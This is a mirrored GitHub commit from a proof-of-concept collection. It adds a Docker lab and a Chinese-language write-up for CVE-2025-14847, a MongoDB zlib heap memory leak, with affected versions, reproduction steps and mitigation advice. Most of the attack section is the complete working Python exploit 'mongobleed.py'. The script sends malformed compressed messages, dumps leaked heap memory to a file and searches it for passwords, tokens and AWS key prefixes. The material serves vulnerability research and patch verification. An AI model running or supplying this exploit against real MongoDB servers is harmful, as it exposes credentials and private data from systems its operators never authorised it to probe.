mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 08:54:27 +00:00
update CVE-2025-14847
This commit is contained in:
1 parent
04b5abbe67
commit
92d8d19cfe
4 files changed
+255
No files matched your search
@@ -0,0 +1,18 @@
|
||||
services:
|
||||
mongodb-vulnerable:
|
||||
image: mongo:8.2.2
|
||||
container_name: mongobleed-target
|
||||
ports:
|
||||
- "27017:27017"
|
||||
environment:
|
||||
MONGO_INITDB_ROOT_USERNAME: admin
|
||||
MONGO_INITDB_ROOT_PASSWORD: SuperSecret123!
|
||||
MONGO_INITDB_DATABASE: secretdb
|
||||
volumes:
|
||||
- ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
|
||||
- mongodb_data:/data/db
|
||||
command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"]
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
mongodb_data:
|
||||
@@ -0,0 +1,237 @@
|
||||
# MongoDB Zlib 压缩协议堆内存信息泄露漏洞 CVE-2025-14847
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
MongoDB 是一款流行的开源文档型数据库,它使用类似 JSON 的 BSON 格式存储数据,支持动态模式,允许数据结构灵活变化,非常适合需要快速迭代和存储多样化数据格式的现代应用。
|
||||
|
||||
据官方描述,在 MongoDB Server 的受影响版本中,当其处理使用 Zlib 压缩的协议消息时,对消息头部中的长度字段校验存在缺陷。若攻击者构造一个包含不匹配长度字段的特制压缩消息并发送给 MongoDB 服务器,服务器在解压并处理该消息的过程中,可能基于声明的长度从堆内存缓冲区中读取超出实际数据范围的数据。这些超出部分的数据是先前残留在堆内存中、未经过初始化的旧数据,从而导致服务器在响应中包含这些本不应被访问的内存残片信息。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/joe-desimone/mongobleed
|
||||
- https://github.com/mongodb/mongo/commit/505b660a14698bd2b5233bd94da3917b585c5728
|
||||
- https://www.vicarius.io/vsociety/posts/cve-2025-14847-detection-script-heap-memory-exposure-in-mongodb-server
|
||||
- https://www.vicarius.io/vsociety/posts/cve-2025-14847-mitigation-script-heap-memory-exposure-in-mongodb-server
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
MongoDB Server 3.6
|
||||
MongoDB Server 4.0
|
||||
MongoDB Server 4.2
|
||||
4.4.0 <= MongoDB < 4.4.30
|
||||
5.0.0 <= MongoDB < 5.0.32
|
||||
6.0.0 <= MongoDB < 6.0.27
|
||||
7.0.0 <= MongoDB < 7.0.28
|
||||
8.0.0 <= MongoDB < 8.0.17
|
||||
8.2.0 <= MongoDB < 8.2.3
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
docker-compose.yaml
|
||||
|
||||
```
|
||||
version: '3.8'
|
||||
|
||||
services:
|
||||
mongodb-vulnerable:
|
||||
image: mongo:8.2.2
|
||||
container_name: mongobleed-target
|
||||
ports:
|
||||
- "27017:27017"
|
||||
environment:
|
||||
MONGO_INITDB_ROOT_USERNAME: admin
|
||||
MONGO_INITDB_ROOT_PASSWORD: SuperSecret123!
|
||||
MONGO_INITDB_DATABASE: secretdb
|
||||
volumes:
|
||||
- ./init/init-mongo.js:/docker-entrypoint-initdb.d/init-mongo.js:ro
|
||||
- mongodb_data:/data/db
|
||||
command: ["mongod", "--networkMessageCompressors", "zlib", "--bind_ip_all"]
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
mongodb_data:
|
||||
```
|
||||
|
||||
执行如下命令启动一个 MongoDB 8.2.2 服务:
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
服务启动后,即可认证并连接:
|
||||
|
||||
```
|
||||
mongosh 'mongodb://admin:[email protected]:27017/secretdb?authSource=admin'
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
MongoDB 的 zlib 消息解压缩机制存在缺陷,它返回的是已分配缓冲区的大小,而不是实际解压缩后的数据长度。这使得攻击者可以通过以下方式读取未初始化的内存:
|
||||
|
||||
1. 攻击者在发送压缩消息时, 将 `uncompressedSize` 设置为一个极大的值。
|
||||
2. MongoDB 收到请求后,将根据攻击者声明的 `uncompressedSize` 在堆上分配内存。
|
||||
3. MongoDB 调用 `zlib` 将数据解压到缓冲区开头。该漏洞导致 MongoDB 将整个缓冲区视为有效数据。
|
||||
4. BSON 开始解析该缓冲区,从未初始化的内存中读取“字段名”,直到遇到空字节为止。
|
||||
|
||||
我们通过这个 [poc](https://github.com/joe-desimone/mongobleed/blob/main/mongobleed.py) 进行复现。
|
||||
|
||||
```shell
|
||||
# Basic scan (offsets 20-8192)
|
||||
python mongobleed.py --host 10.8.0.1
|
||||
```
|
||||
|
||||

|
||||
|
||||
可以看到,MongoDB 已经越过了合法数据的边界,泄露了服务器日志信息、会话或内部状态等数据。
|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
- https://github.com/joe-desimone/mongobleed/blob/main/mongobleed.py
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit
|
||||
|
||||
Author: Joe Desimone - x.com/dez_
|
||||
|
||||
Exploits zlib decompression bug to leak server memory via BSON field names.
|
||||
Technique: Craft BSON with inflated doc_len, server reads field names from
|
||||
leaked memory until null byte.
|
||||
"""
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import zlib
|
||||
import re
|
||||
import argparse
|
||||
|
||||
def send_probe(host, port, doc_len, buffer_size):
|
||||
"""Send crafted BSON with inflated document length"""
|
||||
# Minimal BSON content - we lie about total length
|
||||
content = b'\x10a\x00\x01\x00\x00\x00' # int32 a=1
|
||||
bson = struct.pack('<i', doc_len) + content
|
||||
|
||||
# Wrap in OP_MSG
|
||||
op_msg = struct.pack('<I', 0) + b'\x00' + bson
|
||||
compressed = zlib.compress(op_msg)
|
||||
|
||||
# OP_COMPRESSED with inflated buffer size (triggers the bug)
|
||||
payload = struct.pack('<I', 2013) # original opcode
|
||||
payload += struct.pack('<i', buffer_size) # claimed uncompressed size
|
||||
payload += struct.pack('B', 2) # zlib
|
||||
payload += compressed
|
||||
|
||||
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
|
||||
|
||||
try:
|
||||
sock = socket.socket()
|
||||
sock.settimeout(2)
|
||||
sock.connect((host, port))
|
||||
sock.sendall(header + payload)
|
||||
|
||||
response = b''
|
||||
while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
|
||||
chunk = sock.recv(4096)
|
||||
if not chunk:
|
||||
break
|
||||
response += chunk
|
||||
sock.close()
|
||||
return response
|
||||
except:
|
||||
return b''
|
||||
|
||||
def extract_leaks(response):
|
||||
"""Extract leaked data from error response"""
|
||||
if len(response) < 25:
|
||||
return []
|
||||
|
||||
try:
|
||||
msg_len = struct.unpack('<I', response[:4])[0]
|
||||
if struct.unpack('<I', response[12:16])[0] == 2012:
|
||||
raw = zlib.decompress(response[25:msg_len])
|
||||
else:
|
||||
raw = response[16:msg_len]
|
||||
except:
|
||||
return []
|
||||
|
||||
leaks = []
|
||||
|
||||
# Field names from BSON errors
|
||||
for match in re.finditer(rb"field name '([^']*)'", raw):
|
||||
data = match.group(1)
|
||||
if data and data not in [b'?', b'a', b'$db', b'ping']:
|
||||
leaks.append(data)
|
||||
|
||||
# Type bytes from unrecognized type errors
|
||||
for match in re.finditer(rb"type (\d+)", raw):
|
||||
leaks.append(bytes([int(match.group(1)) & 0xFF]))
|
||||
|
||||
return leaks
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
|
||||
parser.add_argument('--host', default='localhost', help='Target host')
|
||||
parser.add_argument('--port', type=int, default=27017, help='Target port')
|
||||
parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
|
||||
parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
|
||||
parser.add_argument('--output', default='leaked.bin', help='Output file')
|
||||
args = parser.parse_args()
|
||||
|
||||
print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
|
||||
print(f"[*] Author: Joe Desimone - x.com/dez_")
|
||||
print(f"[*] Target: {args.host}:{args.port}")
|
||||
print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
|
||||
print()
|
||||
|
||||
all_leaked = bytearray()
|
||||
unique_leaks = set()
|
||||
|
||||
for doc_len in range(args.min_offset, args.max_offset):
|
||||
response = send_probe(args.host, args.port, doc_len, doc_len + 500)
|
||||
leaks = extract_leaks(response)
|
||||
|
||||
for data in leaks:
|
||||
if data not in unique_leaks:
|
||||
unique_leaks.add(data)
|
||||
all_leaked.extend(data)
|
||||
|
||||
# Show interesting leaks (> 10 bytes)
|
||||
if len(data) > 10:
|
||||
preview = data[:80].decode('utf-8', errors='replace')
|
||||
print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")
|
||||
|
||||
# Save results
|
||||
with open(args.output, 'wb') as f:
|
||||
f.write(all_leaked)
|
||||
|
||||
print()
|
||||
print(f"[*] Total leaked: {len(all_leaked)} bytes")
|
||||
print(f"[*] Unique fragments: {len(unique_leaks)}")
|
||||
print(f"[*] Saved to: {args.output}")
|
||||
|
||||
# Show any secrets found
|
||||
secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
|
||||
for s in secrets:
|
||||
if s.lower() in all_leaked.lower():
|
||||
print(f"[!] Found pattern: {s.decode()}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
**通用修补建议**
|
||||
|
||||
- 官方已发布漏洞补丁及修复版本,链接: https://www.mongodb.com/try/download/community
|
||||
|
||||
**缓解措施**
|
||||
|
||||
在 MongoDB 服务器上禁用 Zlib 压缩。具体操作方法如下:
|
||||
|
||||
- 可通过为 mongod 或 mongos 进程设置 networkMessageCompressors 或 net.compression.compressors 启动选项,并明确排除 zlib(可使用其它示例安全值:snappy、zstd 或直接设置 disabled 完全禁用),来禁用 zlib 压缩,从而临时缓解该漏洞。
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 256 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 286 KiB |
Reference in new issue
Block a user